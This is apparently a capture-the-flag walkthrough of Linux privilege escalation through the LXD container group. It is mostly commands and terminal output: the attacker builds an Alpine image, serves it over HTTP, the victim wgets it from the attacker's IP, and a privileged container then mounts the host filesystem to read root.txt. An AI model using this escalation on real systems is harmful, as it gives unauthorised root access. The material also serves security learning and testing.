lxd

• (Attaker) Create xlc image

  git clone  https://github.com/saghul/lxd-alpine-builder.git
  cd lxd-alpine-builder
  ./build-alpine
  ┌──(root💀kali)-[~/tools/lxd-alpine-builder]
  └─# ll
  total 3220
  drwxr-xr-x 3 root root    4096 Oct 21 07:24 .
  drwxr-xr-x 7 kali kali    4096 Oct 21 07:22 ..
  -rw-r--r-- 1 root root 3239625 Oct 21 07:24 alpine-v3.14-x86_64-20211021_0724.tar.gz
  -rwxr-xr-x 1 root root    7662 Oct 21 07:23 build-alpine
  drwxr-xr-x 8 root root    4096 Oct 21 07:23 .git
  -rw-r--r-- 1 root root   26530 Oct 21 07:23 LICENSE
  -rw-r--r-- 1 root root     768 Oct 21 07:23 README.md
  

• (Attaker) Run HTTP server for send to the image to Victim.

  ┌──(root💀kali)-[~/tools/lxd-alpine-builder]
  └─# python3 -m http.server 8888 
  

• (Victim) Download the image.

  wget http://10.11.42.116:8888/alpine-v3.14-x86_64-20211021_0724.tar.gz
  

• (Victim) Launch lxd container and get root.

  john@exploitable:~$ cd /tmp
  john@exploitable:/tmp$ ll
  total 3204
  drwxrwxrwt 10 root root    4096 Oct 20 22:25 ./
  drwxr-xr-x 24 root root    4096 Feb  5  2020 ../
  -rw-rw-r--  1 john john 3239625 Oct 20 22:24 alpine-v3.14-x86_64-20211021_0724.tar.gz
  drwxrwxrwt  2 root root    4096 Oct 20 22:19 .font-unix/
  drwxrwxrwt  2 root root    4096 Oct 20 22:19 .ICE-unix/
  drwx------  3 root root    4096 Oct 20 22:19 systemd-private-94d3e043a4e844ae8c9bc2f07561c895-apache2.service-pQkexc/
  drwx------  3 root root    4096 Oct 20 22:19 systemd-private-94d3e043a4e844ae8c9bc2f07561c895-systemd-resolved.service-cGwQqZ/
  drwx------  3 root root    4096 Oct 20 22:19 systemd-private-94d3e043a4e844ae8c9bc2f07561c895-systemd-timesyncd.service-JetQb2/
  drwxrwxrwt  2 root root    4096 Oct 20 22:19 .Test-unix/
  drwxrwxrwt  2 root root    4096 Oct 20 22:19 .X11-unix/
  drwxrwxrwt  2 root root    4096 Oct 20 22:19 .XIM-unix/
  john@exploitable:/tmp$ lxc image import ./alpine-v3.14-x86_64-20211021_0724.tar.gz --alias myimg
  Image imported with fingerprint: e95f79049e4ff8fb0e4b1a7ca729295a5b4989d3abf46a5fefd
  john@exploitable:/tmp$ lxc image list
  +-------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
  | ALIAS | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |          UPLOAD DATE          |
  +-------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
  | myimg | e95f79049e4f | no     | alpine v3.14 (20211021_07:24) | x86_64 | 3.09MB | Oct 20, 2021 at 10:32pm (UTC) |
  +-------+--------------+--------+-------------------------------+--------+--------+-------------------------------+
  john@exploitable:/tmp$ lxc init myimage ignite -c security.privileged=true
  Creating ignite
  Error: not found
  john@exploitable:/tmp$ lxc init myimg ignite -c security.privileged=true
  Creating ignite
  john@exploitable:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
  Device mydevice added to ignite
  john@exploitable:/tmp$ lxc start ignite
  john@exploitable:/tmp$ lxc exec ignite /bin/sh
  ~ # id
  uid=0(root) gid=0(root)
  ~ # ll
  /bin/sh: ll: not found
  ~ # ls
  ~ # ls -la
  total 12
  drwx------    2 root     root          4096 Oct 20 22:34 .
  drwxr-xr-x   19 root     root          4096 Oct 20 22:34 ..
  -rw-------    1 root     root            16 Oct 20 22:34 .ash_history
  ~ # pwd
  /root
  ~ # cd ../
  / # ls
  bin    etc    lib    mnt    proc   run    srv    tmp    var
  dev    home   media  opt    root   sbin   sys    usr
  / # cd mnt
  /mnt # ls
  root
  /mnt # cd root
  /mnt/root # ls
  bin             initrd.img      mnt             snap            var
  boot            initrd.img.old  opt             srv             vmlinuz
  cdrom           lib             proc            swap.img        vmlinuz.old
  dev             lib64           root            sys
  etc             lost+found      run             tmp
  home            media           sbin            usr
  /mnt/root # cd root
  /mnt/root/root # ls
  root.txt
  /mnt/root/root # cat root.txt
  2e337b8c9f3aff0c2b3e8d4e6a7c88fc
  /mnt/root/root #